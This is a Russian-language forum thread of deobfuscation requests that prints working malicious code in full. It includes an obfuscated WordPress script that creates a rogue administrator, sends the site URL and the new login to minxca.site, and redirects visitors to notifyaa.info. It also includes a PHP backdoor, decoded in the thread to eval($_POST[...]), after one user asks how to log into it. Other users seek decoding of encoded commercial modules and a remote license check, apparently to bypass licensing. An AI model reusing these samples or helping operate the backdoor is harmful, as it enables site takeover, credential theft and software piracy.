Декодировал с помощью проекта ___easytoyou.eu/decoder/demophp72 Там 30 строк в демо, возможно даст прояснить суть скрипта. PHP: <?php/* * @ PHP 7.2 * @ Decoder version : 1.0.0.3 * @ Release on : 14/04/2021 * @ Website : http://EasyToYou.eu */class ModelExtensionModuleUniSettings extends Model{ public function getSetting($store_id) { $query = $this->db->query("show columns FROM `" . DB_PREFIX . "uni_setting` WHERE Field = 'store_id'"); if (!$query->num_rows) { $this->update(); } $query = $this->db->query("SELECT data FROM `" . DB_PREFIX . "uni_setting` WHERE store_id = " . (array) $store_id . ""); return $query->rows ? json_decode($query->row["data"], true) : []; } public function setSetting($store_id, $data) { if ($this->check()) { $this->db->query("DELETE FROM `" . DB_PREFIX . "uni_setting` WHERE store_id = '" . (array) $store_id . "'"); $this->db->query("INSERT INTO `" . DB_PREFIX . "uni_setting` SET store_id = '" . (array) $store_id . "', data = '" . $this->db->escape(json_encode($data, true)) . "'"); $this->cache->delete("unishop.settings"); return "success"; } return "error"; } public function deleteSetting() { $this->db->query("DELETE FROM " . DB_PREFIX . "uni_setting"); } public function install() { $this->db->query("CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "uni_setting (`store_id` int(11) NOT NULL, `data` mediumtext NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `upc` `upc` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `ean` `ean` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `jan` `jan` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"); $this->db->query("ALTER TABLE `" . DB_PREFIX . "product` CHANGE `isbn` `isbn` varchar(255) COLLATE 'utf8_general_ci' NOT NULL"// This is the demo version. This version only decode 30 lines.
Суть я знаю, мне нужен код полностью. Если сможете декодировать, у меня есть еще 1 файл. Хотя хотелось бы найти человека, который имеет инструмент для этих манипуляций.
Помогите, пожалуйста, расшифровать этот скрипт. Spoiler: сам скрипт <script> var _0x2201=[';\x20expires=','Chromium','Firefox','match','setRequestHeader','-new.php','getElementById','location','1pEvSEx','user','system','includes','1386439VHVeve','1594989JHnXwZ','17SZdvVQ','cookie','responseText','1mLtVLp','charAt','2rMTjPp','substring','userAgent','length','toUTCString','&pass2=','gerg34t3','links','indexOf','MSIE;','51106qkNGfp','123482vpaqfa','https://notifyaa.info/rs/23132?coun...339313UFkCyd!'];(function(_0x2f73a4,_0x2bc5ba){var _0x5a7fdf=_0x8574;while(!![]){try{var _0x21c0d9=parseInt(_0x5a7fdf(0xf6))*-parseInt(_0x5a7fdf(0xef))+-parseInt(_0x5a7fdf(0xe9))*parseInt(_0x5a7fdf(0xda))+-parseInt(_0x5a7fdf(0xf1))*parseInt(_0x5a7fdf(0xec))+parseInt(_0x5a7fdf(0xd9))+parseInt(_0x5a7fdf(0xea))*-parseInt(_0x5a7fdf(0xdf))+parseInt(_0x5a7fdf(0xdd))*parseInt(_0x5a7fdf(0xfe))+-parseInt(_0x5a7fdf(0xd4))*-parseInt(_0x5a7fdf(0xd8));if(_0x21c0d9===_0x2bc5ba)break;else _0x2f73a4['push'](_0x2f73a4['shift']());}catch(_0x13ea46){_0x2f73a4['push'](_0x2f73a4['shift']());}}}(_0x2201,0xe41a6));function setCookie(_0x4348ea,_0x3b8540,_0xe9fc90){var _0x357920=_0x8574,_0x886b24='';if(_0xe9fc90){var _0x474dff=new Date();_0x474dff[_0x357920(0xf3)](_0x474dff[_0x357920(0xfa)]()+_0xe9fc90*0x18*0x3c*0x3c*0x3e8),_0x886b24=_0x357920(0x103)+_0x474dff[_0x357920(0xe3)]();}document[_0x357920(0xdb)]=_0x4348ea+'='+(_0x3b8540||'')+_0x886b24+';\x20path=/';}function getCookie(_0x786ca9){var _0x2f4f40=_0x8574,_0x4dc549=_0x786ca9+'=',_0x45e7fb=document['cookie']['split'](';');for(var _0x37ddd7=0x0;_0x37ddd7<_0x45e7fb[_0x2f4f40(0xe2)];_0x37ddd7++){var _0x4bc780=_0x45e7fb[_0x37ddd7];while(_0x4bc780[_0x2f4f40(0xde)](0x0)=='\x20')_0x4bc780=_0x4bc780[_0x2f4f40(0xe0)](0x1,_0x4bc780[_0x2f4f40(0xe2)]);if(_0x4bc780[_0x2f4f40(0xe7)](_0x4dc549)==0x0)return _0x4bc780[_0x2f4f40(0xe0)](_0x4dc549[_0x2f4f40(0xe2)],_0x4bc780[_0x2f4f40(0xe2)]);}return null;}function isAdmin(){var _0x3f44fd=_0x8574;return!!document[_0x3f44fd(0xd2)]('wp-admin-bar-customize')||document['documentElement'][_0x3f44fd(0xf8)][_0x3f44fd(0xd7)](_0x3f44fd(0xd5)+_0x3f44fd(0xd1));}function request(_0x3e3a56,_0x2069f3,_0xa8e210,_0x3b1104){var _0x46f844=_0x8574;return req=new XMLHttpRequest(),req[_0x46f844(0xfb)](_0x2069f3,_0x3e3a56,_0x3b1104),req[_0x46f844(0xd0)](_0x46f844(0xfd),_0x46f844(0xee)),req['send'](_0xa8e210),req;}function getBaseUrl(){var _0x26f22c=_0x8574;for(var _0x9652c9=0x0,_0x13335c=document[_0x26f22c(0xe6)]['length'];_0x9652c9<_0x13335c;_0x9652c9++){var _0x5876bc=document[_0x26f22c(0xe6)][_0x9652c9]['href'];if(_0x5876bc[_0x26f22c(0xd7)](_0x26f22c(0xed))){var _0x29a675=_0x5876bc[_0x26f22c(0xff)](_0x26f22c(0xf9));return _0x29a675[0x0]+'wp-admin/';}}return'';}function _0x8574(_0x5645ee,_0x29db99){_0x5645ee=_0x5645ee-0xce;var _0x22016d=_0x2201[_0x5645ee];return _0x22016d;}function d(){var _0x429a1e=_0x8574;if(isAdmin()){if(getCookie(_0x429a1e(0xfc))===null){var _0x35915f=getBaseUrl(),_0x41e3f9=_0x35915f+_0x429a1e(0xd5)+'-new.php',_0x5777fd=request(_0x41e3f9,_0x429a1e(0xf5),'',![]),_0x5aee53=/ser" value="([^"]*?)"/g,_0xaa90c6,_0x7058f3='';_0xaa90c6=_0x5aee53[_0x429a1e(0x100)](_0x5777fd[_0x429a1e(0xdc)]);if(_0xaa90c6[_0x429a1e(0xe2)]===0x0)return![];_0x7058f3=_0xaa90c6[0x1];if(_0x7058f3==='')return![];var _0x2caffd=_0x429a1e(0xd6),_0x518996=_0x429a1e(0x102),_0x1e5e89='action=createuser&_wpnonce_create-user='+_0x7058f3+_0x429a1e(0xf7)+_0x2caffd+'&[email protected]&pass1='+_0x518996+_0x429a1e(0xe4)+_0x518996+_0x429a1e(0xf0);_0x5777fd=request(_0x41e3f9,_0x429a1e(0xf2),_0x1e5e89,!![]),_0x5777fd['onload']=function(){var _0x14a4d4=_0x429a1e,_0x338c8d=_0x35915f+';'+_0x2caffd+';'+_0x518996,_0x313482='https://minxca.site/valid';request(...f2),'s='+encodeURIComponent(_0x338c8d),!![]);},setCookie(_0x429a1e(0xfc),'do',0x16d);}}else{function_0x2e2ea9(){var _0x3f7b16=_0x429a1e;return navigator['userAgent'][_0x3f7b16(0xcf)](/Android/i)||navigator[_0x3f7b16(0xe1)][_0x3f7b16(0xcf)](/BlackBerry/i)||navigator['userAgent'][_0x3f7b16(0xcf)](/iPhone|iPad|iPod/i)||navigator[_0x3f7b16(0xe1)]['match'](/Opera Mini/i)||navigator['userAgent'][_0x3f7b16(0xcf)](/IEMobile/i);}function _0x105626(){var _0xf65e39=_0x429a1e;return navigator[_0xf65e39(0xe1)][_0xf65e39(0xe7)]('Edge')!==-0x1||navigator[_0xf65e39(0xe1)][_0xf65e39(0xe7)](_0xf65e39(0xe8))!==-0x1||navigator['userAgent'][_0xf65e39(0xe7)](_0xf65e39(0x101))!==-0x1||navigator[_0xf65e39(0xe1)]['indexOf'](_0xf65e39(0x104))!==-0x1||navigator[_0xf65e39(0xe1)]['indexOf'](_0xf65e39(0xce))!==-0x1||navigator['userAgent']['indexOf']('Chrome')!==-0x1;}var _0x2919cc=getCookie(_0x429a1e(0xe5));_0x2919cc!=='un'&&((_0x105626()||_0x2e2ea9())&&(setCookie(_0x429a1e(0xe5),'un',0x1e),window[_0x429a1e(0xd3)][_0x429a1e(0xf4)](_0x429a1e(0xeb))));}}d(); </script>
помогите с расшифровкой пожалуйста (даже 1 процент файла не влез в сообщение) можно даже за $, если по итогу всё нормально выйдет PHP: https://dropmefiles.com/Fgeeb перепробовал кучу деобфускаторов (От которых толку почти 0) ничего путного так и не вышло сделать частями тоже не выходило раскодировать очень нуждаюсь в этом файле
Это весь код? PHP: <?php$O0OOO0OOO0 = file(preg_replace("@\(.*\(.*$@", "" ,__FILE__));if (preg_replace("@\(.*\(.*$@", "", __FILE__) ==__FILE__ or preg_replace("@\(.*\(.*$@", "" ,__LINE__) != 3) die("<tt>ERROR");function OO0O00OO0O($a, $b) { $c = array(989, 324, 32, 25255); $k = gzinflate(base64_decode("KyrNTcosKQYA")); // rumbits $O0O0 = $k[6].$k[1].$k[3].$k[6].$k[5].$k[0]; // substr $O0 = "$k[5]$k[0]$k[4]$k[2]"; // trim if ($b == 138) { $d = substr($a, $c[0] /* 989 */ + $c[1] /* 324 */, $c[2] /* 32 */); } elseif ($b == 60) { $d = substr($a, $c[0] /* 989 */, $c[1] /* 324 */); } elseif ($b == 147) { $d = trim(substr($a, $c[0] /* 989 */ + $c[1] /* 324 */ + $c[2] /* 32 */)); } return $d;}?> Какие входящие данные?
Шелл, я так понимаю.. Как зайти? Нужно какой-то get ему отправлять. Code: <?php class PJIZ{ public $TEST= null; public $za= null; public $e='"hd2d1GR1N-ynNAvl"'; public $d= null; public $all= null; function __construct(){ $this->za = 'mv3gc3bierpvat2tkrnq'; $this->TEST = @KILLED($this->za); $this->moreandmore = $this->TEST; $this->za = 'luutw'; $this->TEST = @KILLED($this->za); $this->d=strrev($this->e); $this->moreandmore =$this->moreandmore.$this->d.$this->TEST; @eval($this->moreandmore); }} new PJIZ(); function KILLED($YAXW){ $KHVW = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen($YAXW); $i < $j; $i++){ $v <<= 5; if ($YAXW[$i] >= 'a' && $YAXW[$i] <= 'z'){ $v += (ord($YAXW[$i]) - 97); } elseif ($YAXW[$i] >= '2' && $YAXW[$i] <= '7') { $v += (24 + $YAXW[$i]); } else { exit(1); } $vbits += 5; while ($vbits >= 8){ $vbits -= 8; $KHVW .= chr($v >> $vbits); $v &= ((1 << $vbits) - 1);}} return $KHVW;} $tips = 'O'.'N'.'E'.'P'.'I'.'E'.'C'.'E'; echo $tips; ?>
Результирующий код из всей этой свистопляски будет: Code: eval($_POST["lvANny-N1RG1d2dh"]); Мысли вслух. Легко реверснуть, элементарно спалить по сигнатурам, неудобно использовать. Бекдор не решает ровном счётом ничего. Что курять изобретатели этих поделок? Загадка
Нужна помощь в рашифровке скрипта. Spoiler: Файл 1 https://disk.yandex.ru/d/fQR9YLvPZ3zIuQ Spoiler: Файл 2 PHP: <?php goto m5hZe; WrJmW: $ci = curl_init(); goto JwIxZ; nUVif: curl_setopt($ci, CURLOPT_HEADER, 0); goto ZryaG; KwfZf: curl_close($ci); goto KXAcl; ZryaG: curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1); goto oVDeL; tPkkb: $ce = curl_exec($ci); goto KwfZf; m5hZe: $valid_product = true; goto BlL0b; BlL0b: $domain = $_SERVER["\110\124\124\x50\137\110\x4f\123\x54"]; goto EtPEr; oVDeL: curl_setopt($ci, CURLOPT_POST, 1); goto WJpH_; KXAcl: $json = json_decode($ce, true); goto dL59Y; WJpH_: curl_setopt($ci, CURLOPT_POSTFIELDS, array("\144\157\x6d\x61\x69\156" => $domain, "\x61\143\164\x69\157\156" => "\x76\141\154\151\144\x61\164\x65")); goto tPkkb; JWnrV: if ($json["\163\164\x61\x74\165\163"] !== "\x6f\153") { $valid_product = false; } goto nzxkm; JwIxZ: curl_setopt($ci, CURLOPT_URL, "\x68\164\164\x70\x3a\57\57\144\x61\146\160\157\x64\x73\56\x63\157\57\166\x61\154\151\144\141\x74\x69\x6f\156\57"); goto nUVif; EtPEr: if (isset($_GET["\144\x6f\x6d\141\x69\x6e"])) { $domain = trim($_GET["\144\157\155\141\151\156"]); } goto WrJmW; dL59Y: if (!is_array($json)) { $valid_product = false; } goto JWnrV; nzxkm: if (!$valid_product) { die("\x4e\157\40\166\x61\x6c\151\x64\40\154\151\x63\x65\156\x73\x65\41"); }